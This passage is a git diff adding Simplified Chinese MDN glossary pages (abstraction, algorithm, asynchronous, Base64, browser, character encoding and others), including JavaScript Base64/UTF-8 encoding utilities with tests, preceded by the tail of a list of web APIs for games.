无论用户显示器的大小或分辨率如何,都可以构建平滑缩放的矢量图形。
-
Typed Arrays
-
JavaScript中的类型数组可以让您访问原始二进制数据;这使您可以操纵GL纹理,游戏数据或其他任何东西,即使它不是原生JavaScript数据格式。
-
Web Audio API
-
这个API用于控制JavaScript代码中的音频的回放,合成和处理,使您可以创建出色的音效,以及实时播放和操作音乐。
-
WebGL
-
允许您从Web内容创建高性能,硬件加速的3D(和2D)图形。 这是一个Web支持的OpenGL ES 2.0实现。
-
WebRTC
-
WebRTC(实时通信)API使您能够控制音频和视频数据,包括远程会议以及两个用户之间来回传输其他应用程序数据。 希望你的玩家能够在殴打怪物的同时互相交流? 这是你的API,快使用它吧。
-
WebSockets
-
WebSocket API使您可以将您的应用程序或站点连接到服务器,实时传输数据。 构建完美的多人游戏动作,聊天服务等必备。
-
Web Workers
-
Workers API 能够让您生成运行JavaScript代码的后台线程,以充分利用现代的多核CPU。
-
XMLHttpRequest 和 File API
-
XMLHttpRequest和File API的组合使您可以从Web服务器发送和接收任何类型的数据。比如下载新的游戏关卡,文件,以及传递非实时游戏状态信息等。
-
-
diff --git a/files/zh-cn/glossary/abstraction/index.html b/files/zh-cn/glossary/abstraction/index.html new file mode 100644 index 0000000000..a7497bdc94 --- /dev/null +++ b/files/zh-cn/glossary/abstraction/index.html @@ -0,0 +1,22 @@ +--- +title: 抽象编程 +slug: Glossary/抽象编程 +tags: + - 名词解释 + - 抽象 + - 编程 + - 编程脚本 + - 编程语言 +translation_of: Glossary/Abstraction +--- +

在计算机编程{{Glossary("computer programming")}}领域中,抽象编程指在研发大型复杂软件系统时,通过抽象的方法来降低编程复杂度,实现系统快速高效设计和开发的编程模式。它将系统各功能实现的技术细节隐藏在相对简单的 {{Glossary("API", "APIs")}}之后。

+ +

更多资料

+ +

基础知识

+ + + +

 

diff --git a/files/zh-cn/glossary/algorithm/index.html b/files/zh-cn/glossary/algorithm/index.html new file mode 100644 index 0000000000..8dcea73131 --- /dev/null +++ b/files/zh-cn/glossary/algorithm/index.html @@ -0,0 +1,37 @@ +--- +title: 算法 +slug: Glossary/算法 +tags: + - 专业术语 + - 编程基础 +translation_of: Glossary/Algorithm +--- +

算法是一个良定义的具体计算步骤的一个序列。

+ +

换句话说,一个算法就是由人或机器可重复的解决问题的方法。计算机科学家们使用算法的复杂度(又称O标记法)来表示算法的效率。

+ +

例如:

+ + + +

常用的算法有寻找最优路径算法,例如“旅行推销员问题”、“树的遍历算法”等。

+ +

还有很多机器学习算法例如“线性回归”、“决策树”、“随机森林”、“支持向量机”、“循环神经网络(RNN)”、“长短时记忆(LSTM)神经网络”、“卷积神经网络(CNN)”、“深度卷积神经网络”等。

+ +

更多详情

+ +

通用知识库(维基百科)

+ + + +

技术分析

+ + diff --git a/files/zh-cn/glossary/arpa/index.html b/files/zh-cn/glossary/arpa/index.html new file mode 100644 index 0000000000..8c30be2d15 --- /dev/null +++ b/files/zh-cn/glossary/arpa/index.html @@ -0,0 +1,18 @@ +--- +title: ARPA +slug: Glossary/地址路由参数域 +tags: + - 专业术语 + - 互联网服务基础设施 +translation_of: Glossary/ARPA +--- +

.arpa (address and routing parameter area, 地址路由参数域 ) 是专门用来互联网基础设施配置的顶级域{{glossary("TLD","top-level domain")}} ,尤其是DNS反向解析,即从 {{glossary("IP 地址")}})找出旗下的主机名(i.e., find the {{glossary('domain name')}} 。

+ +

了解更多

+ +

通用知识库

+ + diff --git a/files/zh-cn/glossary/asynchronous/index.html b/files/zh-cn/glossary/asynchronous/index.html new file mode 100644 index 0000000000..0bc0353e3d --- /dev/null +++ b/files/zh-cn/glossary/asynchronous/index.html @@ -0,0 +1,37 @@ +--- +title: 异步 +slug: Glossary/异步 +tags: + - 异步 + - 术语表 +translation_of: Glossary/Asynchronous +--- +

异步两个或两个以上的对象或事件同时存在或发生(或多个相关事物的发生无需等待其前一事物的完成)。在计算机技术中,"异步"一词被用于两大语境。

+ +
+
网络与通信
+
+

异步通信是一种在双方或多方之间交换消息的方式。其中每个参与方各自在他们方便或可操作的情况下接收并处理消息,而不是在收到消息后立即进行处理。 另外,消息的发送无需等待确认信息,前提是如果出现问题,接收方将请求更正或以其他方式处理该情况。

+ +

对人类来说,电子邮件就是一种异步通信方式;发送者发送了一封邮件,接着接收者会在方便时读取和回复该邮件,而不是马上这样做。双方可以继续随时发送和接收信息,而无需双方安排何时进行操作。

+ +

在软件进行异步通信时,一个程序可能会向另一软件(如服务器)请求信息,并在等待回复的同时继续执行其他操作。例如,AJAX(Asynchronous JavaScript and {{Glossary("XML")}})编程技术(现在通常简写为"Ajax",不过现在的应用不常用XML,而是用{{Glossary("JSON")}})就是这样一种机制,它通过HTTP从服务器请求较少的数据,当结果可被返回时才返回结果,而不是立即返回。

+
+
软件设计
+
+

异步软件设计通过构建代码扩展了异步的概念,按照这种设计编写的代码使得程序能够要求一个任务与先前的一个(或多个)任务一起执行,而无需为了等待它们完成而停止执行。 当后来的任务完成时,程序将使用约定好的机制通知先前的任务,以便让它知道任务已经完成,以及如果有结果存在的话,这个结果是可用的。

+ +

还有许多用来实现异步软件的编程技术。查看文章Asynchronous JavaScript来了解它们吧。

+
+
+ +

了解更多

+ +

技术参考

+ + + +

{{IncludeSubnav("/en-US/docs/Glossary")}}

diff --git a/files/zh-cn/glossary/base64/index.html b/files/zh-cn/glossary/base64/index.html new file mode 100644 index 0000000000..5da5d1e0f4 --- /dev/null +++ b/files/zh-cn/glossary/base64/index.html @@ -0,0 +1,605 @@ +--- +title: Base64的编码与解码 +slug: Web/API/WindowBase64/Base64_encoding_and_decoding +translation_of: Glossary/Base64 +--- +

Base64 是一组相似的二进制到文本(binary-to-text)的编码规则,使得二进制数据在解释成 radix-64 的表现形式后能够用 ASCII 字符串的格式表示出来。Base64 这个词出自一种 MIME 数据传输编码。 

+ +

Base64编码普遍应用于需要通过被设计为处理文本数据的媒介上储存和传输二进制数据而需要编码该二进制数据的场景。这样是为了保证数据的完整并且不用在传输过程中修改这些数据。Base64 也被一些应用(包括使用 MIME 的电子邮件)和在 XML 中储存复杂数据时使用。 

+ +

在 JavaScript 中,有两个函数被分别用来处理解码和编码 base64 字符串:

+ + + +

atob() 函数能够解码通过base-64编码的字符串数据。相反地,btoa() 函数能够从二进制数据“字符串”创建一个base-64编码的ASCII字符串。

+ +

atob() 和 btoa() 均使用字符串。如果你想使用 ArrayBuffers,请参阅后文。

+ +

编码尺寸增加

+ +

每一个Base64字符实际上代表着6比特位。因此,3字节(一字节是8比特,3字节也就是24比特)的字符串/二进制文件可以转换成4个Base64字符(4x6 = 24比特)。

+ +

这意味着Base64格式的字符串或文件的尺寸约是原始尺寸的133%(增加了大约33%)。如果编码的数据很少,增加的比例可能会更高。例如:字符串"a"length === 1进行Base64编码后是"YQ=="length === 4,尺寸增加了300%。

+ + + + + + + + + + +
+

文档

+ +
+
data URIs
+
data URIs, 定义于 RFC 2397,用于在文档内嵌入小的文件。
+
Base64
+
维基百科上关于 Base64 的文章。
+
{{domxref("WindowBase64.atob","atob()")}}
+
解码一个Base64字符串。
+
{{domxref("WindowBase64.btoa","btoa()")}}
+
从一个字符串或者二进制数据编码一个Base64字符串。
+
"Unicode 问题"
+
在大多数浏览器里里,在一个Unicode字符串上调用btoa()会造成一个Character Out Of Range异常。这一段写了一些解决方案。
+
URIScheme
+
Mozilla支持的URI schemes列表。
+
StringView
+
这篇文章发布了一个我们做的库,目的在于: +
    +
  • 为字符串创建一个类C接口 (i.e. array of characters codes — ArrayBufferView in JavaScript) ,基于JavaScript ArrayBuffer 接口。
  • +
  • 为类字符串对象(目前为止为: stringViews) 创建一系列方法,它们严格按照数字数组工作,而不是不可变的字符串。
  • +
  • 可用于其它Unicode编码,和默认的 DOMStrings不同。
  • +
+
+
+ +

查看所有...

+
+

工具

+ + + +

View All...

+ + + + +
+ +

Unicode 问题

+ +

由于 DOMString 是16位编码的字符串,所以如果有字符超出了8位ASCII编码的字符范围时,在大多数的浏览器中对Unicode字符串调用 window.btoa 将会造成一个 Character Out Of Range 的异常。有很多种方法可以解决这个问题:

+ + + +

Solution #1 – JavaScript's UTF-16 => base64

+ +

A very fast and widely useable way to solve the unicode problem is by encoding JavaScript native UTF-16 strings directly into base64. Please visit the URL data:text/plain;charset=utf-16;base64,OCY5JjomOyY8Jj4mPyY= for a demonstration (copy the data uri, open a new tab, paste the data URI into the address bar, then press enter to go to the page). This method is particularly efficient because it does not require any type of conversion, except mapping a string into an array. The following code is also useful to get an ArrayBuffer from a Base64 string and/or viceversa (see below).

+ +
"use strict";
+
+/*\
+|*|
+|*|  Base64 / binary data / UTF-8 strings utilities (#1)
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding
+|*|
+|*|  Author: madmurphy
+|*|
+\*/
+
+/* Array of bytes to base64 string decoding */
+
+function b64ToUint6 (nChr) {
+
+  return nChr > 64 && nChr < 91 ?
+      nChr - 65
+    : nChr > 96 && nChr < 123 ?
+      nChr - 71
+    : nChr > 47 && nChr < 58 ?
+      nChr + 4
+    : nChr === 43 ?
+      62
+    : nChr === 47 ?
+      63
+    :
+      0;
+
+}
+
+function base64DecToArr (sBase64, nBlockSize) {
+
+  var
+    sB64Enc = sBase64.replace(/[^A-Za-z0-9\+\/]/g, ""), nInLen = sB64Enc.length,
+    nOutLen = nBlockSize ? Math.ceil((nInLen * 3 + 1 >>> 2) / nBlockSize) * nBlockSize : nInLen * 3 + 1 >>> 2, aBytes = new Uint8Array(nOutLen);
+
+  for (var nMod3, nMod4, nUint24 = 0, nOutIdx = 0, nInIdx = 0; nInIdx < nInLen; nInIdx++) {
+    nMod4 = nInIdx & 3;
+    nUint24 |= b64ToUint6(sB64Enc.charCodeAt(nInIdx)) << 18 - 6 * nMod4;
+    if (nMod4 === 3 || nInLen - nInIdx === 1) {
+      for (nMod3 = 0; nMod3 < 3 && nOutIdx < nOutLen; nMod3++, nOutIdx++) {
+        aBytes[nOutIdx] = nUint24 >>> (16 >>> nMod3 & 24) & 255;
+      }
+      nUint24 = 0;
+    }
+  }
+
+  return aBytes;
+}
+
+/* Base64 string to array encoding */
+
+function uint6ToB64 (nUint6) {
+
+  return nUint6 < 26 ?
+      nUint6 + 65
+    : nUint6 < 52 ?
+      nUint6 + 71
+    : nUint6 < 62 ?
+      nUint6 - 4
+    : nUint6 === 62 ?
+      43
+    : nUint6 === 63 ?
+      47
+    :
+      65;
+
+}
+
+function base64EncArr (aBytes) {
+
+  var eqLen = (3 - (aBytes.length % 3)) % 3, sB64Enc = "";
+
+  for (var nMod3, nLen = aBytes.length, nUint24 = 0, nIdx = 0; nIdx < nLen; nIdx++) {
+    nMod3 = nIdx % 3;
+    /* Uncomment the following line in order to split the output in lines 76-character long: */
+    /*
+    if (nIdx > 0 && (nIdx * 4 / 3) % 76 === 0) { sB64Enc += "\r\n"; }
+    */
+    nUint24 |= aBytes[nIdx] << (16 >>> nMod3 & 24);
+    if (nMod3 === 2 || aBytes.length - nIdx === 1) {
+      sB64Enc += String.fromCharCode(uint6ToB64(nUint24 >>> 18 & 63), uint6ToB64(nUint24 >>> 12 & 63), uint6ToB64(nUint24 >>> 6 & 63), uint6ToB64(nUint24 & 63));
+      nUint24 = 0;
+    }
+  }
+
+  return  eqLen === 0 ?
+      sB64Enc
+    :
+      sB64Enc.substring(0, sB64Enc.length - eqLen) + (eqLen === 1 ? "=" : "==");
+
+}
+
+ +

Tests

+ +
var myString = "☸☹☺☻☼☾☿";
+
+/* Part 1: Encode `myString` to base64 using native UTF-16 */
+
+var aUTF16CodeUnits = new Uint16Array(myString.length);
+Array.prototype.forEach.call(aUTF16CodeUnits, function (el, idx, arr) { arr[idx] = myString.charCodeAt(idx); });
+var sUTF16Base64 = base64EncArr(new Uint8Array(aUTF16CodeUnits.buffer));
+
+/* Show output */
+
+alert(sUTF16Base64); // "OCY5JjomOyY8Jj4mPyY="
+
+/* Part 2: Decode `sUTF16Base64` to UTF-16 */
+
+var sDecodedString = String.fromCharCode.apply(null, new Uint16Array(base64DecToArr(sUTF16Base64, 2).buffer));
+
+/* Show output */
+
+alert(sDecodedString); // "☸☹☺☻☼☾☿"
+ +

The produced string is fully portable, although represented as UTF-16. If you prefer UTF-8, see the next solution.

+ +

Appendix to Solution #1: Decode a Base64 string to Uint8Array or ArrayBuffer

+ +

The functions above let us also create uint8Arrays or arrayBuffers from base64-encoded strings:

+ +
var myArray = base64DecToArr("QmFzZSA2NCDigJQgTW96aWxsYSBEZXZlbG9wZXIgTmV0d29yaw=="); // "Base 64 \u2014 Mozilla Developer Network" (as UTF-8)
+
+var myBuffer = base64DecToArr("QmFzZSA2NCDigJQgTW96aWxsYSBEZXZlbG9wZXIgTmV0d29yaw==").buffer; // "Base 64 \u2014 Mozilla Developer Network" (as UTF-8)
+
+alert(myBuffer.byteLength);
+ +
Note: The function base64DecToArr(sBase64[, nBlockSize]) returns an uint8Array of bytes. If your aim is to build a buffer of 16-bit / 32-bit / 64-bit raw data, use the nBlockSize argument, which is the number of bytes which the uint8Array.buffer.bytesLength property must result to be a multiple of (1 or omitted for ASCII, binary content, binary strings, UTF-8-encoded strings; 2 for UTF-16 strings; 4 for UTF-32 strings).
+ +

For a more complete library, see StringView – a C-like representation of strings based on typed arrays (source code available on GitHub).

+ +

Solution #2 – JavaScript's UTF-16 => UTF-8 => base64

+ +

This solution consists in converting a JavaScript's native UTF-16 string into a UTF-8 string and then encoding the latter into base64. This also grants that converting a pure ASCII string to base64 always produces the same output as the native btoa().

+ +
"use strict";
+
+/*\
+|*|
+|*|  Base64 / binary data / UTF-8 strings utilities (#2)
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding
+|*|
+|*|  Author: madmurphy
+|*|
+\*/
+
+/* Array of bytes to base64 string decoding */
+
+function b64ToUint6 (nChr) {
+
+  return nChr > 64 && nChr < 91 ?
+      nChr - 65
+    : nChr > 96 && nChr < 123 ?
+      nChr - 71
+    : nChr > 47 && nChr < 58 ?
+      nChr + 4
+    : nChr === 43 ?
+      62
+    : nChr === 47 ?
+      63
+    :
+      0;
+
+}
+
+function base64DecToArr (sBase64, nBlockSize) {
+
+  var
+    sB64Enc = sBase64.replace(/[^A-Za-z0-9\+\/]/g, ""), nInLen = sB64Enc.length,
+    nOutLen = nBlockSize ? Math.ceil((nInLen * 3 + 1 >>> 2) / nBlockSize) * nBlockSize : nInLen * 3 + 1 >>> 2, aBytes = new Uint8Array(nOutLen);
+
+  for (var nMod3, nMod4, nUint24 = 0, nOutIdx = 0, nInIdx = 0; nInIdx < nInLen; nInIdx++) {
+    nMod4 = nInIdx & 3;
+    nUint24 |= b64ToUint6(sB64Enc.charCodeAt(nInIdx)) << 18 - 6 * nMod4;
+    if (nMod4 === 3 || nInLen - nInIdx === 1) {
+      for (nMod3 = 0; nMod3 < 3 && nOutIdx < nOutLen; nMod3++, nOutIdx++) {
+        aBytes[nOutIdx] = nUint24 >>> (16 >>> nMod3 & 24) & 255;
+      }
+      nUint24 = 0;
+    }
+  }
+
+  return aBytes;
+}
+
+/* Base64 string to array encoding */
+
+function uint6ToB64 (nUint6) {
+
+  return nUint6 < 26 ?
+      nUint6 + 65
+    : nUint6 < 52 ?
+      nUint6 + 71
+    : nUint6 < 62 ?
+      nUint6 - 4
+    : nUint6 === 62 ?
+      43
+    : nUint6 === 63 ?
+      47
+    :
+      65;
+
+}
+
+function base64EncArr (aBytes) {
+
+  var eqLen = (3 - (aBytes.length % 3)) % 3, sB64Enc = "";
+
+  for (var nMod3, nLen = aBytes.length, nUint24 = 0, nIdx = 0; nIdx < nLen; nIdx++) {
+    nMod3 = nIdx % 3;
+    /* Uncomment the following line in order to split the output in lines 76-character long: */
+    /*
+    if (nIdx > 0 && (nIdx * 4 / 3) % 76 === 0) { sB64Enc += "\r\n"; }
+    */
+    nUint24 |= aBytes[nIdx] << (16 >>> nMod3 & 24);
+    if (nMod3 === 2 || aBytes.length - nIdx === 1) {
+      sB64Enc += String.fromCharCode(uint6ToB64(nUint24 >>> 18 & 63), uint6ToB64(nUint24 >>> 12 & 63), uint6ToB64(nUint24 >>> 6 & 63), uint6ToB64(nUint24 & 63));
+      nUint24 = 0;
+    }
+  }
+
+  return  eqLen === 0 ?
+      sB64Enc
+    :
+      sB64Enc.substring(0, sB64Enc.length - eqLen) + (eqLen === 1 ? "=" : "==");
+
+}
+
+/* UTF-8 array to DOMString and vice versa */
+
+function UTF8ArrToStr (aBytes) {
+
+  var sView = "";
+
+  for (var nPart, nLen = aBytes.length, nIdx = 0; nIdx < nLen; nIdx++) {
+    nPart = aBytes[nIdx];
+    sView += String.fromCharCode(
+      nPart > 251 && nPart < 254 && nIdx + 5 < nLen ? /* six bytes */
+        /* (nPart - 252 << 30) may be not so safe in ECMAScript! So...: */
+        (nPart - 252) * 1073741824 + (aBytes[++nIdx] - 128 << 24) + (aBytes[++nIdx] - 128 << 18) + (aBytes[++nIdx] - 128 << 12) + (aBytes[++nIdx] - 128 << 6) + aBytes[++nIdx] - 128
+      : nPart > 247 && nPart < 252 && nIdx + 4 < nLen ? /* five bytes */
+        (nPart - 248 << 24) + (aBytes[++nIdx] - 128 << 18) + (aBytes[++nIdx] - 128 << 12) + (aBytes[++nIdx] - 128 << 6) + aBytes[++nIdx] - 128
+      : nPart > 239 && nPart < 248 && nIdx + 3 < nLen ? /* four bytes */
+        (nPart - 240 << 18) + (aBytes[++nIdx] - 128 << 12) + (aBytes[++nIdx] - 128 << 6) + aBytes[++nIdx] - 128
+      : nPart > 223 && nPart < 240 && nIdx + 2 < nLen ? /* three bytes */
+        (nPart - 224 << 12) + (aBytes[++nIdx] - 128 << 6) + aBytes[++nIdx] - 128
+      : nPart > 191 && nPart < 224 && nIdx + 1 < nLen ? /* two bytes */
+        (nPart - 192 << 6) + aBytes[++nIdx] - 128
+      : /* nPart < 127 ? */ /* one byte */
+        nPart
+    );
+  }
+
+  return sView;
+
+}
+
+function strToUTF8Arr (sDOMStr) {
+
+  var aBytes, nChr, nStrLen = sDOMStr.length, nArrLen = 0;
+
+  /* mapping... */
+
+  for (var nMapIdx = 0; nMapIdx < nStrLen; nMapIdx++) {
+    nChr = sDOMStr.charCodeAt(nMapIdx);
+    nArrLen += nChr < 0x80 ? 1 : nChr < 0x800 ? 2 : nChr < 0x10000 ? 3 : nChr < 0x200000 ? 4 : nChr < 0x4000000 ? 5 : 6;
+  }
+
+  aBytes = new Uint8Array(nArrLen);
+
+  /* transcription... */
+
+  for (var nIdx = 0, nChrIdx = 0; nIdx < nArrLen; nChrIdx++) {
+    nChr = sDOMStr.charCodeAt(nChrIdx);
+    if (nChr < 128) {
+      /* one byte */
+      aBytes[nIdx++] = nChr;
+    } else if (nChr < 0x800) {
+      /* two bytes */
+      aBytes[nIdx++] = 192 + (nChr >>> 6);
+      aBytes[nIdx++] = 128 + (nChr & 63);
+    } else if (nChr < 0x10000) {
+      /* three bytes */
+      aBytes[nIdx++] = 224 + (nChr >>> 12);
+      aBytes[nIdx++] = 128 + (nChr >>> 6 & 63);
+      aBytes[nIdx++] = 128 + (nChr & 63);
+    } else if (nChr < 0x200000) {
+      /* four bytes */
+      aBytes[nIdx++] = 240 + (nChr >>> 18);
+      aBytes[nIdx++] = 128 + (nChr >>> 12 & 63);
+      aBytes[nIdx++] = 128 + (nChr >>> 6 & 63);
+      aBytes[nIdx++] = 128 + (nChr & 63);
+    } else if (nChr < 0x4000000) {
+      /* five bytes */
+      aBytes[nIdx++] = 248 + (nChr >>> 24);
+      aBytes[nIdx++] = 128 + (nChr >>> 18 & 63);
+      aBytes[nIdx++] = 128 + (nChr >>> 12 & 63);
+      aBytes[nIdx++] = 128 + (nChr >>> 6 & 63);
+      aBytes[nIdx++] = 128 + (nChr & 63);
+    } else /* if (nChr <= 0x7fffffff) */ {
+      /* six bytes */
+      aBytes[nIdx++] = 252 + (nChr >>> 30);
+      aBytes[nIdx++] = 128 + (nChr >>> 24 & 63);
+      aBytes[nIdx++] = 128 + (nChr >>> 18 & 63);
+      aBytes[nIdx++] = 128 + (nChr >>> 12 & 63);
+      aBytes[nIdx++] = 128 + (nChr >>> 6 & 63);
+      aBytes[nIdx++] = 128 + (nChr & 63);
+    }
+  }
+
+  return aBytes;
+
+}
+ +

Tests

+ +
/* Tests */
+
+var sMyInput = "Base 64 \u2014 Mozilla Developer Network";
+
+var aMyUTF8Input = strToUTF8Arr(sMyInput);
+
+var sMyBase64 = base64EncArr(aMyUTF8Input);
+
+alert(sMyBase64); // "QmFzZSA2NCDigJQgTW96aWxsYSBEZXZlbG9wZXIgTmV0d29yaw=="
+
+var aMyUTF8Output = base64DecToArr(sMyBase64);
+
+var sMyOutput = UTF8ArrToStr(aMyUTF8Output);
+
+alert(sMyOutput); // "Base 64 — Mozilla Developer Network"
+ +

Solution #3 – JavaScript's UTF-16 => binary string => base64

+ +

The following is the fastest and most compact possible approach. The output is exactly the same produced by Solution #1 (UTF-16 encoded strings), but instead of rewriting {{domxref("WindowBase64.atob","atob()")}} and {{domxref("WindowBase64.btoa","btoa()")}} it uses the native ones. This is made possible by the fact that instead of using typed arrays as encoding/decoding inputs this solution uses binary strings as an intermediate format. It is a “dirty” workaround in comparison to Solution #1 (binary strings are a grey area), however it works pretty well and requires only a few lines of code.

+ +
"use strict";
+
+/*\
+|*|
+|*|  Base64 / binary data / UTF-8 strings utilities (#3)
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding
+|*|
+|*|  Author: madmurphy
+|*|
+\*/
+
+function btoaUTF16 (sString) {
+
+	var aUTF16CodeUnits = new Uint16Array(sString.length);
+	Array.prototype.forEach.call(aUTF16CodeUnits, function (el, idx, arr) { arr[idx] = sString.charCodeAt(idx); });
+	return btoa(String.fromCharCode.apply(null, new Uint8Array(aUTF16CodeUnits.buffer)));
+
+}
+
+function atobUTF16 (sBase64) {
+
+	var sBinaryString = atob(sBase64), aBinaryView = new Uint8Array(sBinaryString.length);
+	Array.prototype.forEach.call(aBinaryView, function (el, idx, arr) { arr[idx] = sBinaryString.charCodeAt(idx); });
+	return String.fromCharCode.apply(null, new Uint16Array(aBinaryView.buffer));
+
+}
+ +

Tests

+ +
var myString = "☸☹☺☻☼☾☿";
+
+/* Part 1: Encode `myString` to base64 using native UTF-16 */
+
+var sUTF16Base64 = btoaUTF16(myString);
+
+/* Show output */
+
+alert(sUTF16Base64); // "OCY5JjomOyY8Jj4mPyY="
+
+/* Part 2: Decode `sUTF16Base64` to UTF-16 */
+
+var sDecodedString = atobUTF16(sUTF16Base64);
+
+/* Show output */
+
+alert(sDecodedString); // "☸☹☺☻☼☾☿"
+
+ +

For a cleaner solution that uses typed arrays instead of binary strings, see solutions #1 and #2.

+ +

Solution #4 – escaping the string before encoding it

+ +
function b64EncodeUnicode(str) {
+    // first we use encodeURIComponent to get percent-encoded UTF-8,
+    // then we convert the percent encodings into raw bytes which
+    // can be fed into btoa.
+    return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g,
+        function toSolidBytes(match, p1) {
+            return String.fromCharCode('0x' + p1);
+    }));
+}
+
+b64EncodeUnicode('✓ à la mode'); // "4pyTIMOgIGxhIG1vZGU="
+b64EncodeUnicode('\n'); // "Cg=="
+
+ +

To decode the Base64-encoded value back into a String:

+ +
function b64DecodeUnicode(str) {
+    // Going backwards: from bytestream, to percent-encoding, to original string.
+    return decodeURIComponent(atob(str).split('').map(function(c) {
+        return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2);
+    }).join(''));
+}
+
+b64DecodeUnicode('4pyTIMOgIGxhIG1vZGU='); // "✓ à la mode"
+b64DecodeUnicode('Cg=='); // "\n"
+
+ +

Unibabel implements common conversions using this strategy.

+ +

Solution #5 – rewrite the DOMs atob() and btoa() using JavaScript's TypedArrays and UTF-8

+ +

Use a TextEncoder polyfill such as TextEncoding (also includes legacy windows, mac, and ISO encodings), TextEncoderLite, combined with a Buffer and a Base64 implementation such as base64-js or TypeScript version of base64-js for both modern browsers and Node.js.

+ +

When a native TextEncoder implementation is not available, the most light-weight solution would be to use Solution #3 because in addition to being much faster, Solution #3 also works in IE9 "out of the box." Alternatively, use TextEncoderLite with base64-js. Use the browser implementation when you can.

+ +

The following function implements such a strategy. It assumes base64-js imported as <script type="text/javascript" src="base64js.min.js"/>. Note that TextEncoderLite only works with UTF-8.

+ +
function Base64Encode(str, encoding = 'utf-8') {
+    var bytes = new (typeof TextEncoder === "undefined" ? TextEncoderLite : TextEncoder)(encoding).encode(str);
+    return base64js.fromByteArray(bytes);
+}
+
+function Base64Decode(str, encoding = 'utf-8') {
+    var bytes = base64js.toByteArray(str);
+    return new (typeof TextDecoder === "undefined" ? TextDecoderLite : TextDecoder)(encoding).decode(bytes);
+}
+
+ +

注意: TextEncoderLite 不能正确处理四字节 UTF-8 字符, 比如 '\uD842\uDFB7' 或缩写为  '\u{20BB7}' 。参见 issue
+ 可使用 text-encoding 作为替代。

+ +

某些场景下,以上经由 UTF-8 转换到 Base64 的实现在空间利用上不一定高效。当处理包含大量 U+0800-U+FFFF 区域间字符的文本时, UTF-8 输出结果长于 UTF-16 的,因为这些字符在 UTF-8 下占用三个字节而 UTF-16 是两个。在处理均匀分布 UTF-16 码点的 JavaScript 字符串时应考虑采用 UTF-16 替代 UTF-8 作为 Base64 结果的中间编码格式,这将减少 40% 尺寸。

+ +
+

译者注:下为陈旧翻译片段

+
+ + + +

方案 #1 – 编码之前转义(escape)字符串

+ +
function b64EncodeUnicode(str) {
+    return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g, function(match, p1) {
+        return String.fromCharCode('0x' + p1);
+    }));
+}
+
+b64EncodeUnicode('✓ à la mode'); // "4pyTIMOgIGxhIG1vZGU="
+
+ +

把base64转换回字符串

+ +
function b64DecodeUnicode(str) {
+    return decodeURIComponent(atob(str).split('').map(function(c) {
+        return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2);
+    }).join(''));
+}
+
+b64DecodeUnicode('4pyTIMOgIGxhIG1vZGU='); // "✓ à la mode"
+b64DecodeUnicode('Cg=='); // "\n"
+ +

Unibabel 是一个包含了一些使用这种策略的通用转换的库。

+ +

方案 #6 – 用JavaScript的 TypedArray 和 UTF-8重写DOM的 atob() 和 btoa()

+ +

使用像TextEncoding(包含了早期(legacy)的windows,mac, 和 ISO 编码),TextEncoderLite 或者 Buffer 这样的文本编码器增强(polyfill)和Base64增强,比如base64-jsTypeScript 版本的  base64-js (适用于长青浏览器和 Node.js)。

+ +

最简单,最轻量级的解决方法就是使用 TextEncoderLite 和 base64-js.

+ +

想要更完整的库的话,参见 StringView – a C-like representation of strings based on typed arrays.

+ +

参见

+ + diff --git a/files/zh-cn/glossary/baseline/index.html b/files/zh-cn/glossary/baseline/index.html new file mode 100644 index 0000000000..2158190685 --- /dev/null +++ b/files/zh-cn/glossary/baseline/index.html @@ -0,0 +1,24 @@ +--- +title: 基线 +slug: Glossary/基线 +translation_of: Glossary/baseline +--- +

基线是指欧洲和西亚文字排版中,用于在上面放置字符的一条假象的基准线。

+ +

字符的降部比如 g 和 p 会向下超出基线, 带弧形的会向上和向下扩展的字形( {{Glossary("glyph", "Glyphs")}} ),比如 C 或 3 会略微向下超出基线。

+ +

东亚文字没有基线,他们的字形放置在方盒子,没有升部和降部。

+ +

学习更多

+ +

基本知识

+ + + +

技术参考

+ + diff --git a/files/zh-cn/glossary/browser/index.html b/files/zh-cn/glossary/browser/index.html new file mode 100644 index 0000000000..a52951c1b7 --- /dev/null +++ b/files/zh-cn/glossary/browser/index.html @@ -0,0 +1,24 @@ +--- +title: 浏览器 +slug: Glossary/浏览器 +translation_of: Glossary/Browser +--- +

网页浏览器是一种从 {{Glossary("World Wide Web","Web")}} 获取和显示页面的程序,并且让用户通过 {{Glossary("hyperlink","超链接")}} 访问更多页面。

+ +

获悉更多

+ +

基础知识

+ + + +

下载一个浏览器

+ + diff --git a/files/zh-cn/glossary/card_sorting/index.html b/files/zh-cn/glossary/card_sorting/index.html new file mode 100644 index 0000000000..9d5a3c4ff5 --- /dev/null +++ b/files/zh-cn/glossary/card_sorting/index.html @@ -0,0 +1,18 @@ +--- +title: 卡片分类法 +slug: Glossary/卡片分类法 +tags: + - 卡片分类法 + - 名称 + - 设计 +translation_of: Glossary/Card_sorting +--- +

卡片分类法是一种简单的技巧 ,{{glossary("Information architecture")}} 通常是邀请参与网站开发的设计师(或是开发其他类型产品的人),让他们写下他们认为这个产品应当包含的内容、服务和功能,然后将这些功能分组。一个很好的例子是考虑网站上每个页面应当显示什么样的内容。这个名字源于这个分类是通过把要分类的项目写在卡片上,再通过排列卡片完成的。

+ +

了解更多

+ +

常识

+ + diff --git a/files/zh-cn/glossary/character_encoding/index.html b/files/zh-cn/glossary/character_encoding/index.html new file mode 100644 index 0000000000..40dbc7ca8a --- /dev/null +++ b/files/zh-cn/glossary/character_encoding/index.html @@ -0,0 +1,26 @@ +--- +title: Character encoding(字符编码) +slug: Glossary/字符编码 +tags: + - 术语 + - 术语表 +translation_of: Glossary/character_encoding +--- +

一套编码系统定义字节与文本间的映射。一连串字节文本能让不同文本解释得以进行。我们指明一套特定编码系统时(如 UTF-8),也就指明了字节得以解释的方式。

+ +

例如,我们通常在 HTML 里声明 UTF-8 字符编码,使用如下:

+ +
+
<meta charset="utf-8">
+ +

这就确保你在 HTML 文档中可以使用几乎任何一种人类语言中的字符,并且会稳定显示。

+
+ +

 了解更多

+ +

常识

